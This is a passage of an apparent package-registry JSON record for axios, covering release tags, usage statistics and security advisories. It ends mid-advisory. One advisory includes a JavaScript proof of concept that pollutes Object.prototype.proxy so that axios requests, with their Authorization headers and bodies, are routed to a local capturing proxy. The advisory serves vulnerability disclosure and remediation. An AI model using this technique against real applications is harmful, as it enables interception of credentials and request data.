:"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.16.1/manifests"},{"name":"v0.16.0","sha":"19b794848047e51f5d8689cf48820c986df49d25","kind":"tag","published_at":"2017-04-01T02:29:37.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.16.0","html_url":"https://github.com/axios/axios/releases/tag/v0.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.16.0/manifests"},{"name":"v0.15.3","sha":"4976816808c4e81acad2393c429832afeaf9664d","kind":"tag","published_at":"2016-11-27T21:52:12.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.15.3","html_url":"https://github.com/axios/axios/releases/tag/v0.15.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.15.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.15.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.15.3/manifests"},{"name":"v0.15.2","sha":"3af756049f102be2eebafdbb108f10173380a68d","kind":"tag","published_at":"2016-10-18T01:29:32.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.15.2","html_url":"https://github.com/axios/axios/releases/tag/v0.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.15.2/manifests"},{"name":"v0.15.1","sha":"3f8b128da4ab11e34f0b880381f9395b2ab0e22f","kind":"tag","published_at":"2016-10-15T06:35:21.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.15.1","html_url":"https://github.com/axios/axios/releases/tag/v0.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.15.1/manifests"},{"name":"v0.15.0","sha":"e8c5c49ea2f2cf4fd45eaf81270a6d23546e2c93","kind":"tag","published_at":"2016-10-11T04:39:50.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.15.0","html_url":"https://github.com/axios/axios/releases/tag/v0.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.15.0/manifests"},{"name":"v0.14.0","sha":"c96348660dacddd32676924d4f1bde535c45fb77","kind":"tag","published_at":"2016-08-27T18:29:52.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.14.0","html_url":"https://github.com/axios/axios/releases/tag/v0.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.14.0/manifests"},{"name":"v0.13.1","sha":"377efb89aed819ed1cd416b69f057632ad5664a5","kind":"tag","published_at":"2016-07-16T17:13:15.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.13.1","html_url":"https://github.com/axios/axios/releases/tag/v0.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.13.1/manifests"},{"name":"v0.13.0","sha":"ff919487e13430098d3da37a37cc04c3f24b59c4","kind":"tag","published_at":"2016-07-13T19:42:23.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.13.0","html_url":"https://github.com/axios/axios/releases/tag/v0.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.13.0/manifests"},{"name":"v0.12.0","sha":"4d1269cb4a9773db128f459046b6c4c2a0926859","kind":"tag","published_at":"2016-06-01T05:22:00.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.12.0","html_url":"https://github.com/axios/axios/releases/tag/v0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.12.0/manifests"},{"name":"v0.11.1","sha":"2e949495f0177bd4f4faab8ce031aa32bef50f47","kind":"tag","published_at":"2016-05-17T15:59:07.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.11.1","html_url":"https://github.com/axios/axios/releases/tag/v0.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.11.1/manifests"},{"name":"v0.11.0","sha":"82d34ac743022aaf0c4e68650b39d2f7edab73a4","kind":"commit","published_at":"2016-04-27T04:13:02.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.11.0","html_url":"https://github.com/axios/axios/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.11.0/manifests"},{"name":"v0.10.0","sha":"2797f10ea5d2cd963a8e5c80da319848bad9f499","kind":"tag","published_at":"2016-04-21T04:51:56.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.10.0","html_url":"https://github.com/axios/axios/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.10.0/manifests"},{"name":"v0.9.1","sha":"5176623d6c70e9d66c17f7867703a8e9990554bd","kind":"tag","published_at":"2016-01-24T22:18:42.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.9.1","html_url":"https://github.com/axios/axios/releases/tag/v0.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.9.1/manifests"},{"name":"v0.9.0","sha":"7ec97dd26b3af7bb0995eef178c4edd8989c3152","kind":"tag","published_at":"2016-01-18T18:19:02.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.9.0","html_url":"https://github.com/axios/axios/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.9.0/manifests"},{"name":"v0.8.1","sha":"9a5dec2dc5aef6eaa0bc4f72f714656bcf29dac3","kind":"tag","published_at":"2015-12-15T03:43:51.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.8.1","html_url":"https://github.com/axios/axios/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"908d12b8ef41af4de5226b7e88eb971798d99207","kind":"tag","published_at":"2015-12-11T19:09:31.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.8.0","html_url":"https://github.com/axios/axios/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.8.0/manifests"},{"name":"v0.7.0","sha":"e8136b1f746d87d9ac620cb50c26722db555169a","kind":"tag","published_at":"2015-09-29T06:39:02.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.7.0","html_url":"https://github.com/axios/axios/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.7.0/manifests"},{"name":"v0.6.0","sha":"cd0cd1805434dea0d250d195a466a1236b98e502","kind":"tag","published_at":"2015-09-21T20:20:49.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.6.0","html_url":"https://github.com/axios/axios/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.6.0/manifests"},{"name":"v0.5.4","sha":"8a4e502e3a76b8e41b2f896e05b92db3c0f543f7","kind":"tag","published_at":"2015-04-08T18:49:23.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.5.4","html_url":"https://github.com/axios/axios/releases/tag/v0.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.5.4/manifests"},{"name":"v0.5.3","sha":"9d31a867166e9224f0c5168d84560abe85868404","kind":"tag","published_at":"2015-04-08T03:01:00.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.5.3","html_url":"https://github.com/axios/axios/releases/tag/v0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.5.3/manifests"},{"name":"v0.5.2","sha":"2ce5aa77df30369960924ee70956f6ac0d37a1aa","kind":"tag","published_at":"2015-03-13T23:13:59.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.5.2","html_url":"https://github.com/axios/axios/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"bd5d9b7258dd27648caddeba8259a4ed020b6724","kind":"tag","published_at":"2015-03-10T20:47:07.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.5.1","html_url":"https://github.com/axios/axios/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"fa6c26a0e5eaad5d58071eb39d7afff0c7dc051c","kind":"tag","published_at":"2015-01-23T10:12:14.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.5.0","html_url":"https://github.com/axios/axios/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.5.0/manifests"},{"name":"v0.4.2","sha":"2d5250ce0ae02ee9f6412f776690d8b99f11fb1e","kind":"tag","published_at":"2014-12-11T07:12:48.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.4.2","html_url":"https://github.com/axios/axios/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"789baf3a58b717e270ded37d4416ae25a650d99d","kind":"tag","published_at":"2014-10-15T18:18:33.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.4.1","html_url":"https://github.com/axios/axios/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"1d6430f667486ca9de390ccec242114b36c41377","kind":"tag","published_at":"2014-10-05T23:54:05.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.4.0","html_url":"https://github.com/axios/axios/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.4.0/manifests"},{"name":"v0.3.1","sha":"d8f687dc52d6ee5242798ceac34e05f86853250d","kind":"tag","published_at":"2014-09-17T00:33:18.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.3.1","html_url":"https://github.com/axios/axios/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"0f2461a6bb90efdbc54c8c2a234062a24b8222ca","kind":"tag","published_at":"2014-09-16T18:22:00.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.3.0","html_url":"https://github.com/axios/axios/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.3.0/manifests"},{"name":"v0.2.2","sha":"f2fd9f7dd3a644ddbd25b4bfe59c86313b24a443","kind":"tag","published_at":"2014-09-15T03:32:20.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.2.2","html_url":"https://github.com/axios/axios/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"629c576f23e2983382ff7251a5c18b44249b0d2b","kind":"tag","published_at":"2014-09-12T22:59:02.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.2.1","html_url":"https://github.com/axios/axios/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.2.1/manifests"},{"name":"v0.2.0","sha":"3b7132ee1b9dffa4927735e49598dcd92836fcb2","kind":"tag","published_at":"2014-09-12T20:05:48.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.2.0","html_url":"https://github.com/axios/axios/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"00724fdd0bb5bfa66f466cbf459e590a5d7c0c9d","kind":"tag","published_at":"2014-08-29T23:08:48.000Z","download_url":"https://codeload.github.com/axios/axios/tar.gz/v0.1.0","html_url":"https://github.com/axios/axios/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/axios/axios@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/axios%2Faxios/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-08-29T16:33:32.399Z","dependent_packages_count":97210,"downloads":503136124,"downloads_period":"last-month","dependent_repos_count":453457,"rankings":{"downloads":0.003887935462461709,"dependent_repos_count":0.05421205785686046,"dependent_packages_count":0.0009309141248147754,"stargazers_count":0.016811213901066827,"forks_count":0.36346720608576893,"docker_downloads_count":0.01922063869470507,"average":0.07642166102094629},"purl":"pkg:npm/axios","advisories":[{"uuid":"GSA_kwCzR0hTQS0zOGd4LWNmcWYtZjY1Ms4ABhCY","url":"https://github.com/advisories/GHSA-38gx-cfqf-f652","title":"Duplicate Advisory: Axios: Prototype pollution auth subfields can inject Basic auth","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-xj6q-8x83-jv6g. This link is maintained to preserve external references.\n\n## Original Description\naxios versions \u003e=1.15.2 and \u003c1.18.0 contain prototype-pollution read-side gadgets in Basic auth subfield handling (lib/adapters/http.js and lib/helpers/resolveConfig.js). When an application is already affected by a separate prototype-pollution primitive and makes an axios request with an own auth object that omits the username and/or password properties, axios reads the inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound 'Authorization: Basic ...' header. axios itself does not pollute prototypes. The practical impact is outbound request tampering: an attacker who controls the polluted prototype values can inject attacker-chosen Basic auth credentials or replace an existing Authorization header. Credential disclosure is only possible under additional application-specific conditions.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-01T15:30:27.000Z","withdrawn_at":"2026-08-07T17:51:06.000Z","classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g","https://nvd.nist.gov/vuln/detail/CVE-2026-67314","https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields","https://github.com/advisories/GHSA-38gx-cfqf-f652"],"source_kind":"github","identifiers":["GHSA-38gx-cfqf-f652"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-07T18:00:08.103Z","updated_at":"2026-08-28T13:00:24.623Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOGd4LWNmcWYtZjY1Ms4ABhCY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zOGd4LWNmcWYtZjY1Ms4ABhCY","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003e= 1.15.2, \u003c 1.18.0"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOGd4LWNmcWYtZjY1Ms4ABhCY/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nY2ZqLTY0dnctNm1wOc4ABcRL","url":"https://github.com/advisories/GHSA-gcfj-64vw-6mp9","title":"Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning","description":"## Summary\n\nAxios’ Node.js HTTP adapter can route requests through an attacker-controlled proxy when `Object.prototype.proxy` is polluted and request configuration is materialized as a regular object before dispatch.\n\nRecent axios releases harden merged request config by creating a null-prototype object. However, request interceptors run after that merge and may return a replacement config. A common immutable interceptor pattern such as `{...config}` or `Object.assign({}, config)` converts the hardened config back into a normal object. Axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads `config.proxy` through the prototype chain.\n\n## Impact\n\nIn a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can route affected HTTP requests through an attacker-controlled proxy.\n\nThe highest confirmed impact is for plaintext HTTP requests. The proxy can observe explicit `Authorization` headers, axios-generated Basic auth from `config.auth`, request method, absolute URL, `Host`, and request body content. The proxy can also return its own response to axios for the affected request.\n\nThis does not establish browser impact. It also does not establish HTTPS header or body disclosure under normal TLS validation.\n\n## Affected Functionality\n\nAffected functionality is limited to axios requests that use the Node.js HTTP adapter, including default Node usage when the HTTP adapter is selected and explicit `adapter: 'http'` usage.\n\nThe relevant configuration path is `config.proxy` in the Node HTTP adapter. The hardened-bypass path requires a request interceptor such as:\n\n```js\napi.interceptors.request.use((config) =\u003e ({\n  ...config,\n  headers: {\n    ...config.headers,\n    'X-App': 'demo'\n  }\n}));\n```\n\nUnaffected or mitigating conditions include browser adapters, the Node fetch adapter, no polluted `Object.prototype.proxy`, an own `proxy: false` or safe own `proxy` value on the config, and hardened releases where interceptors return the original null-prototype config instead of a regular object clone.\n\n## Technical Details\n\n`lib/core/mergeConfig.js` creates a null-prototype merged config and uses own-property reads for merged values. This is intended to prevent polluted `Object.prototype` values from affecting config behavior.\n\n`lib/core/Axios.js` runs request interceptors after the merge. In both the asynchronous and synchronous interceptor paths, axios passes the interceptor-returned config into dispatch.\n\n`lib/core/dispatchRequest.js` accepts that returned config, transforms request data, selects the adapter, and calls the adapter without re-hardening or re-normalizing the config.\n\n`lib/adapters/http.js` uses own-property reads for several sensitive fields, but the initial proxy dispatch path still passes `config.proxy` directly into `setProxy()`. If an interceptor returned a regular object, `config.proxy` can resolve to inherited `Object.prototype.proxy`.\n\n## Proof of Concept of Attack\n\n```js\nimport axios from './index.js';\nimport http from 'node:http';\n\nfor (const key of [\n  'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',\n  'http_proxy', 'https_proxy', 'all_proxy',\n  'NO_PROXY', 'no_proxy'\n]) {\n  delete process.env[key];\n}\n\nconst listen = (handler) =\u003e new Promise((resolve, reject) =\u003e {\n  const server = http.createServer(handler);\n  server.once('error', reject);\n  server.listen(0, '127.0.0.1', () =\u003e resolve(server));\n});\n\nconst close = (server) =\u003e new Promise((resolve) =\u003e server.close(resolve));\n\nconst targetHits = [];\nconst proxyHits = [];\n\nconst target = await listen((req, res) =\u003e {\n  targetHits.push(req.url);\n  res.end('target');\n});\n\nconst proxy = await listen((req, res) =\u003e {\n  let body = '';\n  req.on('data', (chunk) =\u003e body += chunk);\n  req.on('end', () =\u003e {\n    proxyHits.push({\n      url: req.url,\n      authorization: req.headers.authorization,\n      host: req.headers.host,\n      body\n    });\n    res.setHeader('content-type', 'application/json');\n    res.end('{\"server\":\"proxy\"}');\n  });\n});\n\nObject.prototype.proxy = {\n  protocol: 'http',\n  host: '127.0.0.1',\n  port: proxy.address().port\n};\n\nconst api = axios.create();\n\napi.interceptors.request.use((config) =\u003e ({\n  ...config,\n  headers: {\n    ...config.headers,\n    'X-App': 'demo'\n  }\n}));\n\ntry {\n  const url = `http://127.0.0.1:${target.address().port}/api/secret`;\n\n  const res = await api.post(\n    url,\n    {secret: 'request-body-secret'},\n    {headers: {Authorization: 'Bearer EXPLICIT_SECRET'}}\n  );\n\n  console.log({\n    response: res.data,\n    targetHits,\n    proxyHits,\n    finalConfigHasOwnProxy: Object.hasOwn(res.config, 'proxy')\n  });\n} finally {\n  delete Object.prototype.proxy;\n  await close(target);\n  await close(proxy);\n}\n```\n\nExpected vulnerable result: the response comes from the proxy, `targetHits` is empty, and `proxyHits` contains the absolute URL, authorization header, host header, and request body.\n\n## Workarounds\n\nSet an own `proxy: false` on affected requests or on an axios instance when proxy support is not required.\n\nAvoid request interceptors that return regular object clones of config in hardened releases. Returning the original config or cloning into a null-prototype object avoids this specific bypass, but this is fragile and should not replace a fix.\n\nUse the Node fetch adapter for affected requests where its behavior is compatible with the application.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n## Summary\n\n  Axios hardens merged request config by creating a null-prototype object, preventing polluted Object.prototype properties from influencing request behavior. Request interceptors run after that hardening, and a normal immutable\n  interceptor pattern such as {...config} or Object.assign({}, config) re-materializes the config as a regular object. Axios then dispatches that interceptor-returned object without re-hardening it. In the Node HTTP adapter, config.proxy\n  is read through the prototype chain, allowing a polluted Object.prototype.proxy to route authenticated HTTP requests through an attacker-controlled proxy.\n\n  ## Impact\n\n  In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can cause affected axios requests to be sent through an attacker-controlled proxy when the application uses a\n  request interceptor that returns a plain object copy of the config.\n\n  Verified local impact:\n\n  - Authenticated request redirection to attacker-controlled proxy.\n  - Disclosure of explicit Authorization headers.\n  - Disclosure of axios-generated Basic auth headers from config.auth.\n  - Disclosure of request metadata: method, absolute URL, Host header.\n  - Disclosure of POST body content.\n\n  This report does not claim browser impact or proven HTTPS credential disclosure. The demonstrated credential and body disclosure is for Node HTTP-adapter requests over HTTP/plaintext.\n\n  ## Affected component\n\n  The affected component is the Node.js HTTP adapter request path after request interceptors have run.\n\n  The issue requires:\n\n  - Node.js HTTP adapter usage.\n  - A polluted Object.prototype.proxy.\n  - A request interceptor that returns a plain object copy of the config.\n  - No own proxy: false or safe own proxy property on the request config.\n\n  ## Affected versions\n\n  Confirmed affected for this specific hardening-bypass variant:\n\n  - axios@1.15.2\n  - axios@1.16.0\n\n  axios@1.16.0 was the latest published version observed via npm view axios version during validation.\n\n  Related older behavior observed during testing:\n\n  - 1.13.0, 1.13.6, 1.14.0, 1.15.0, and 1.15.1 routed via inherited Object.prototype.proxy even without the interceptor re-materialization step. That is related background, not the narrowed hardening-bypass variant described here.\n\n  ## Root cause\n\n  1. Initial hardening\n\n     Axios initially hardens merged request config by creating a null-prototype object in mergeConfig(), which is meant to prevent inherited Object.prototype properties from influencing request behavior.\n     Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25\n  2. Interceptor re-materialization\n\n     Request interceptors run after that hardening step, and axios allows an interceptor to return a replacement config object. A common immutable pattern such as {...config} or Object.assign({}, config) converts the hardened null-\n     prototype config back into a normal object with Object.prototype as its prototype.\n     Permalinks: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199, https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218\n  3. No post-interceptor re-hardening\n\n     Axios passes the interceptor-returned config into request dispatch without restoring the 